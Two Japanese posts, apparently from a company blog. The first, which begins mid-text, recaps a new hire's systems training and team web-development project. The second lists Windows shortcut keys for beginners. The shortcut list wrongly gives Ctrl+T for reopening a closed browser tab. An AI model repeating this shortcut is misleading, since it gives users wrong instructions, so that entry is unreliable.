また、社会人として限られた時間設定の中、グループの意見をまとめて提案までもっていくためのツールやフレームワークなどについて学べる貴重な機会でした。 繰り返しになりますが、マイナビのシステム職として、技術力は前提とした上で、ビジネスにも興味・関心を持つことが求められているのだなと感じました。 技術を知っているからこそ思いつくビジネスアイデアもあると思うので、僕も将来、いつか新規事業を提案できたらなと思います！ Python、フロントエンド、インフラなど ここから、いよいよシステム研修らしくなっていきます。 web開発に関連する以下のような技術を学びます。 IT基礎 アルゴリズム SQL Python フロントエンド(HTML, CSS, JavaScript) Flask Linux AWS スケジュールをみていただくと分かりますが、これらの内容を数日程度でこなしていきます。そのため、研修で全てのことを学ぶというよりは、導入と要点を学ぶ形になります。 この導入と要点を学ぶ形式の目的は「システム職は常に勉強をしないといけない職種。だから研修では自分自身で学ぶ術を知ってもらう。」という目的があったからです。 そのため研修では、講師や先輩にはその技術の概念と要点だけを教わり、あとは自分たちで技術を深めていく手法で進みました。結果、「不明点や疑問点などを正確に問う質問力」「自力で解説サイトを探す検索力」「人に分かりやすく教えるティーチング力」など、今後の実務でも役立つスキルが多く身についたと思います。 また同期の中でも技術力の差があるため、分からない人が分かる人に教わることが良くありました。それによって、あまりIT経験がない同期でも、最後まで研修についていくことが出来たのかなと思います。一方、教える側も説明している過程で理解があやふやな点に気づいたり、より深く理解することが出来て勉強になったという人が多かったです。 先輩に教わっている場面 チーム開発 3か月間の研修を締めくくるのがチーム開発になります。 チーム開発とは、6～7人の班に分かれて、要件定義から設計、実装、テストまでを2週間で行う研修です。私たちの場合は、PythonのFlaskというフレームワークを利用して、チケットの予約サイトを作成しました。 それぞれの班はユーザー側の立場も兼ねていて、例えばA班はB班に自分たちのサイトにほしい機能を依頼して、B班はA班に自分たちのサイトにほしい機能を依頼します。 開発というとコーディングをイメージする方も多いと思うのですが、チーム内でのコミュニケーションやお客さん役とのコミュニケーションの面で苦労している班が結構ありました。 例えばチーム内のコミュニケーションで言えば、それぞれが何をやっているか共有出来てなくて同じ仕事を二人でやっていたり、逆にやらなきゃいけないことを誰もやっていなかったりといったことがあったみたいです。 また、お客さん役とのコミュニケーションで言えば、打ち合わせを重ねてお客さん役の要望を拾っていく過程で、お客さん役が想像しているサイトと自分たちが想像しているサイトが違っていたりして手戻りが発生したりといったことがありました。 実際の業務でも。タイトな時間設定で社内外の人々とコミュニケーションをしていく過程で様々な問題が生じるということはよくあることだと思います。その中でこの研修では、エンジニアの能力の尺度は技術力だけではなく、コミュニケーションやスケジュール管理といった能力も大事であるということが学べました。 また、技術やコミュニケーション、スケジュール調整など各々が得意なことで協力しあうことによって、期限内に良いものを完成させることが出来るのだなと思いました。 この開発演習は、時間設定がかなりタイトでしたので、開発プロジェクトが炎上している班も多くありました(笑) ですが時間設定がタイトだからこそ、「優先順位はどうするか？」「今回のフェーズでどこまでをリリースするか？」「効率の良い進め方は？」と技術のことだけではなく、プロジェクトマネジメントや仕事の進め方についても多く学べたと思います。 作業風景 作成したサイトの画面 成果発表会 チーム開発の集大成として、成果発表会を行いました。 成果発表会は現地とオンラインのハイブリッドで開催され、講師の方や先輩社員の方々が大勢いらっしゃってくれました！100人以上の先輩社員の方々が参加してくれた分とても嬉しかったのですが、かなり緊張しました(笑) 発表に関しては特にフォーマットがあったわけではないので、真面目に技術に関して話す班もいれば、いかに自分たちの班が上手くいかなかったかについて語ってくれた班もありました。 また発表後には、先輩社員のアンケートから最優秀賞、講師の方の評価からスキルアップ賞とチームワーク賞の班が選ばれました。 表彰式 僕の班は3つの賞には選ばれなかったのですが、自分たちが納得できるものを作って、先輩社員からのフィードバックでも褒めて頂けたので、最後まで頑張って良かったなと思いました。 チーム開発では一人での作業とは違った苦労やストレスがあり、なかなか上手くいかないことも多かったですが、その分この成果発表会後の達成感は最高でした。 業務ではチーム開発が基本になると思うのですが、上手くいかないときはこのチーム開発で味わった達成感を思い出して頑張ろうと思います！ さいごに 以上が、22卒システム職の研修振り返りになります。 もっと話したいことがたくさんあるのですが、あくまで概要ということで、今回はこのくらいで終わりにしたいと思います。 さらに詳しい話を聞きたい人は、インターンや説明会に参加すると教えてもらえるかもしれないのでぜひ、いろんなイベントに参加してみてください！ 今後も研修で学んだことを生かして、これから頑張っていきたいと思います！

はじめに 情報系出身ですがコピペすら右クリックしていた初心者の私が、入社してから教えていただいたもの、これから使ってみたいショートカットキーを備忘録としてまとめています。 ショートカットキーまとめ 業務編 一個前の状態に戻す Ctrl+Z 誤って切り抜いてしまった、消してしまったときに 一個前の状態に戻したものを元に戻す Ctrl+Y Ctrl+Zで戻しすぎてしまったときに これまでのコピーしたものを確認（クリップボードの履歴） Windows+V 直近でコピーした25件から選択して貼り付け可能 コピーを上書きしてしまったときに 画面分割 Windows+→or← 参考サイトを見比べながら作業したいときに 文字検索 Ctrl+F サイトや文書で対象の文字を探したいときに 閉じたブラウザのタブを再表示 Ctrl+T 間違って閉じてしまったブラウザのタブを呼び戻したいときに タイピング編 入力した文字全角を半角英語に変換 F10 1回目→半角の小文字（全部）、2回目→半角の大文字（全部）、3回目→半角で先頭のみ大文字 ｍｙなヴぃ　→　mynavi →　MYNAVI →　Mynavi 全角のまま半角英語を使いたいときに 共通文字をすべて選択したいとき Shift+Ctrl+L Ctrl+Dで同じ単語を一つ一つ選択できるが、これはすべてまとめて選択したいときに（コードエディター上） 全選択（範囲ごと） Ctrl+A わざわざスクロールしないといけないような文章量を選択するときに 資料作成編 スクリーンショット（範囲指定） Windows+Shift+S キーを押した後マウスで範囲を指定してキャプチャ クリップボードに保存されるのでCtrl+Vで貼り付け可能 スクショをすぐに共有したいときに 印刷 Ctrl+P サイトを印刷したいときやPDF化したいときに リモート会議編 画面のズーム Ctrl+マウスホイール 共有した画面のサイズ感をちょうどよくしたいときに（エクセル、スプレッドシートでも可能） 番外編 デスクトップの表示・非表示 Windows+D デスクトップ上のアプリを開きたいときに ウインドウで画面が埋もれてしまったときに タスクマネージャーを開く Shift+Ctrl+Esc PCが重い原因を調べたいときに おわりに 私自身、研修やインターンを通じて感じたことの一つにショートカットキーの偉大さがあります。 学生時代無縁だった私は、その機能や利便性にとても驚きました。 今回はWindowsのものをまとめましたが パワポやエクセルといったofficeのツールやGoogleのアプリなどそれぞれにショートカットキーがあるようなのでそのあたりも網羅できるとショートカットマスターになれるかもしれません。 ここまで閲覧していただきありがとうございました！